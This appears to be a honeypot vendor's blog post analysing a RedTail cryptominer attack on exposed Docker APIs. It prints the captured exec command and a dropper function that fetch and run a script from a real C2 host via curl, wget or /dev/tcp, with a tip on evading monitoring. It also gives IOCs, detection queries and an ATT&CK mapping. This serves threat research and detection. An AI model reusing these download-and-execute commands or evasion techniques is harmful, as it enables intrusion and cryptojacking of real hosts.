• RedTail
  • Cryptominer
  • Docker API Honeypot

RedTail Cryptominer: First Evidence of Docker API Targeting

Data from Beelzebub honeypot has captured what appears to be the first documented evidence of RedTail cryptominer attacking exposed Docker APIs (port 2375). Despite extensive research across vendor reports, threat intelligence platforms, GitHub repositories, and academic analyses, no public source documents RedTail targeting Docker, only web applications and network appliances. This could be a significant discovery indicating a new tactical evolution by the threat actor.

Mario Candela

Mario Candela

Founder and maintainer

RedTail Cryptominer: First Evidence of Docker API Targeting

TL;DR - Executive Summary

Data from my Beelzebub honeypot has captured what appears to be the first documented evidence of RedTail cryptominer attacking exposed Docker APIs (port 2375). Despite extensive research across vendor reports, threat intelligence platforms, GitHub repositories, and academic analyses, no public source documents RedTail targeting Docker - only web applications and network appliances.

This could be a significant discovery indicating a new tactical evolution by the threat actor.

The Capture: Honeypot Logs

On November 13, 2025 at 14:13:38 UTC, Beelzebub honeypot recorded this attack:

{
  "RemoteAddr": "62.84.181.157:29880",
  "Location": "Shrewsbury, United Kingdom",
  "HTTPMethod": "POST",
  "RequestURI": "/containers/a0c2c51c1f7a4b20a9cc1a0b4a9b06f3040c14b496f0f3c21bd7e0f3ae90f7b6/exec",
  "UserAgent": "libredtail-http",
  "Body": {
    "Cmd": [
      "sh", "-c",
      "cd /tmp || cd /var/tmp; curl http://178.16.55.224/sh -o redtail.sh || wget http://178.16.55.224/sh -O redtail.sh; chmod +x redtail.sh; ./redtail.sh docker.selfrep; rm -rf redtail.sh"
    ]
  }
}

Key elements:

  • Target: Docker Engine API v1.43 (port 2375)
  • User-Agent: libredtail-http (unique RedTail signature)
  • C2 Server: 178.16.55.224 (confirmed RedTail infrastructure)
  • Parameter: docker.selfrep (self-replication mode)

Payload Analysis

I captured the sh script downloaded from the C2. Here’s what it does:

1. Random Name Generation

get_random_string() {
  openssl rand -base64 256 | tr -dc 'A-Za-z0-9' | head -c "$len"
}

2. Resilient Multi-Method Download

dlr() {
  wget http://178.16.55.224/$1 ||
  curl -O http://178.16.55.224/$1 ||
  exec 3<>"/dev/tcp/178.16.55.224/80"
  echo -e "GET /$1 HTTP/1.0\r\n..." >&3
}

Note: Using /dev/tcp bypasses wget/curl monitoring!

The script scans the filesystem looking for:

  • Directories with u=rwx permissions
  • Avoids partitions with noexec flag
  • Excludes /proc and monitored directories
  • Verifies available space (2MB test)

4. Multi-Architecture Deployment

Downloads and executes architecture-specific binaries for:

  • x86_64 / amd64
  • i686 (32-bit)
  • ARM v7 / v8 (aarch64)

5. “clean” Script

Before installation, executes a script that likely:

  • Terminates competing cryptominers
  • Removes other attackers’ malware
  • Frees CPU resources

Threat Intelligence Research:

After capturing this data, I conducted a deep research using Claude to correlate information across dozens of sources. The research covered:

  • Security vendor reports (Akamai, Forescout, Trend Micro, Kaspersky, Microsoft)
  • Threat intelligence platforms (VirusTotal, AbuseIPDB, Malpedia, Joe Sandbox)
  • GitHub repositories and analyses (honeypot logs, malware samples)
  • Academic papers (ACM, IEEE, ArXiv)
  • Security community (SANS ISC, forums, social media)

What Is Confirmed

RedTail is extensively documented in the following campaigns:

Evolution Timeline

Phase 1 (December 2023 - February 2024)

  • First observation: Log4Shell exploitation
  • SANS ISC: 400+ file submissions from IPs 193.222.96.163 and 45.95.147.236
  • Basic multi-architecture deployment
  • SSH brute force (root/Passw0rd123)

Phase 2 (March - April 2024)

  • CVE-2024-3400 (PAN-OS CVSS 10.0)
  • Private mining pools (no visible wallets)
  • Advanced anti-debugging
  • Encrypted communications via SSH-agent
  • Expansion: TP-Link, VMware Workspace ONE, Ivanti VPN

Phase 3 (June 2024 - Present)

  • CVE-2024-4577 (PHP-CGI CVSS 9.8)
  • 178.16.55.224 as primary C2
  • User-Agent “libredtail-http”
  • Forescout: 227 attempts in 2 weeks

Exploited Vulnerabilities

  • CVE-2024-4577 (PHP-CGI)
  • CVE-2024-3400 (PAN-OS)
  • CVE-2024-21887, CVE-2023-46805 (Ivanti)
  • CVE-2023-1389 (TP-Link)
  • CVE-2022-22954 (VMware)
  • CVE-2021-44228 (Log4Shell)
  • CVE-2018-20062 (ThinkPHP)

What Was NOT Found

Despite searching across:

  • Vendor reports: Akamai, Forescout, Trend Micro, Kaspersky
  • Threat intel: VirusTotal, AbuseIPDB, Malpedia, Joe Sandbox
  • Honeypots: SANS ISC (3 diary entries), GitHub repositories
  • Academic: ACM, IEEE papers, arxiv research
  • Community: Security Twitter/X, Reddit, LinkedIn

ZERO mentions of:

  • RedTail + Docker API
  • 178.16.55.224 + port 2375
  • Parameter “docker.selfrep”

Redtail target Docker API

Hypotheses

Hypothesis 1: Infrastructure Reuse

The threat actor uses 178.16.55.224 for multiple campaigns:

  • Web exploitation → Documented RedTail
  • Docker API targeting → Unpublished variant

Hypothesis 2: Intelligence Gap

  • Docker exploitation occurs but below public reporting threshold
  • Not yet reached vendor awareness

Indicators of Compromise (IOCs)

Network

C2 Server:        178.16.55.224
ASN:              AS214943 (Railnet LLC)
User-Agent:       libredtail-http
Mining Port:      25720/TCP
URL Pattern:      http://178.16.55.224/sh
Parameters:       *.selfrep (php.selfrep, docker.selfrep)

Attacker IPs (Confirmed Campaigns)

36.140.33.10
141.98.11.82
45.128.232.200
5.182.211.148
94.103.125.37
87.120.113.231

File System

Script:           redtail.sh
Hidden file:      .redtail, .<random_string>
Binary pattern:   x86_64, i686, aarch64, arm7
Persistence:      @reboot cron jobs
SSH:              authorized_keys modification

Hashes (from Forescout Analysis)

Shell Script:     2c602147c727621c5e98525466b8ea78832abe2c3de10f0b33ce9a4adea205eb
Packed ELF:       ab897157fdef11b267e986ef286fd44a699e3699a458d90994e020619653d2cd
Unpacked ELF:     9ffad174474bb65e574baa567b23ffc1e13359fe2749b02fc8fc7846caceff7a

Detection Queries

Splunk

index=linux sourcetype=linux_secure
| search "libredtail-http" OR "178.16.55.224" OR ".redtail"
| stats count by host, user, src_ip

Elastic

{
  "query": {
    "bool": {
      "should": [
        {"match": {"user_agent": "libredtail-http"}},
        {"match": {"destination.ip": "178.16.55.224"}},
        {"wildcard": {"file.path": "*redtail*"}}
      ]
    }
  }
}

MITRE ATT&CK Mapping

TacticTechniqueEvidence
Initial AccessT1190 - Exploit Public AppDocker API 2375, 8 CVEs
ExecutionT1059.004 - Unix ShellBash dropper script
PersistenceT1053.003 - Cron@reboot jobs
Privilege EscalationT1611 - Escape ContainerHost mount /:/host
Defense EvasionT1027 - Obfuscated FilesRandom filenames
Defense EvasionT1070.004 - File Deletionrm -rf self
Credential AccessT1552.001 - SSH Keysauthorized_keys mod
DiscoveryT1083 - File DiscoveryFilesystem scanning
Lateral MovementT1021.004 - SSHSSH key propagation
Command & ControlT1573 - Encrypted ChannelSSH-agent, AES JSON-RPC
ImpactT1496 - Resource HijackingXMRig cryptomining

Conclusions

The Beelzebub honeypot has documented what appears to be the first public evidence of the RedTail cryptominer attacking exposed Docker APIs. This is a significant finding, considering that RedTail has been extensively documented in relation to 8 different vulnerabilities across web applications and network appliances, yet no public source had ever reported its use against Docker.

This represents a potential critical gap in public threat intelligence. 🚨

This is the fifth article in our series dedicated to malware analysis. The Beelzebub team continues its commitment to making the internet a safer place. ❤️

Try Our Managed Platform

Security deception runtime framework with zero false positives
Continuous validation via automated AI Red Teaming
Real-time malware analysis via our CTI Hub
Instant threat containment driven by the AI SOC